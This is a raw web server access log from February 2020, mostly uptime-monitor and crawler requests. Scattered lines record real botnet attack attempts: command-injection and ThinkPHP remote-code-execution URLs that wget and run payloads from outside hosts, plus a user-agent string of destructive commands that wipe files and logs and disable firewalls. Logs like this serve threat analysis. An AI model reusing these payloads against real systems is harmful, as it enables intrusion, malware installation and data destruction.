191.255.123.148 - - [18/Feb/2020:15:30:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.248.53.55 - - [18/Feb/2020:15:30:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.248.53.55 - - [18/Feb/2020:15:30:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:15:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [18/Feb/2020:15:31:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:15:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.189.195.39 - - [18/Feb/2020:15:38:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:15:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:15:40:26 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:15:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [18/Feb/2020:15:42:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.119.197 - - [18/Feb/2020:15:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [18/Feb/2020:15:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.17.97.2 - - [18/Feb/2020:15:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
212.91.246.72 - - [18/Feb/2020:15:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.205.39.246 - - [18/Feb/2020:15:49:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:15:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.56.212.92 - - [18/Feb/2020:15:52:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:15:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.149.156.87 - - [18/Feb/2020:15:53:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:15:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:15:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.245.139.122 - - [18/Feb/2020:16:00:57 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://113.245.139.122:33891/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [18/Feb/2020:16:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [18/Feb/2020:16:07:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [18/Feb/2020:16:07:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [18/Feb/2020:16:08:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [18/Feb/2020:16:08:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [18/Feb/2020:16:08:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:16:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [18/Feb/2020:16:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
73.32.140.239 - - [18/Feb/2020:16:11:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [18/Feb/2020:16:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.143.155.138 - - [18/Feb/2020:16:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:16:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.140.164.111 - - [18/Feb/2020:16:18:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:16:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.70.97.108 - - [18/Feb/2020:16:19:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:16:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
131.100.123.23 - - [18/Feb/2020:16:21:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:16:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [18/Feb/2020:16:24:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
89.248.167.131 - - [18/Feb/2020:16:24:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
89.248.167.131 - - [18/Feb/2020:16:24:20 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
89.248.167.131 - - [18/Feb/2020:16:24:20 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
89.248.167.131 - - [18/Feb/2020:16:24:20 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
89.248.167.131 - - [18/Feb/2020:16:24:20 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
141.8.107.164 - - [18/Feb/2020:16:24:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:16:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.236.4.229 - - [18/Feb/2020:16:35:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.236.4.229 - - [18/Feb/2020:16:35:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:16:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [18/Feb/2020:16:41:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [18/Feb/2020:16:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.134.10 - - [18/Feb/2020:16:45:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
82.130.201.189 - - [18/Feb/2020:16:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:16:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.3.132.32 - - [18/Feb/2020:16:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:16:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.129.177.68 - - [18/Feb/2020:16:56:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.89.191.62 - - [18/Feb/2020:16:56:16 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:16 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:16 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:17 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:17 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:18 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:18 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:21 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.89.191.62 - - [18/Feb/2020:16:56:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [18/Feb/2020:16:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:16:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.101.203.135 - - [18/Feb/2020:16:59:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [18/Feb/2020:17:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:17:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
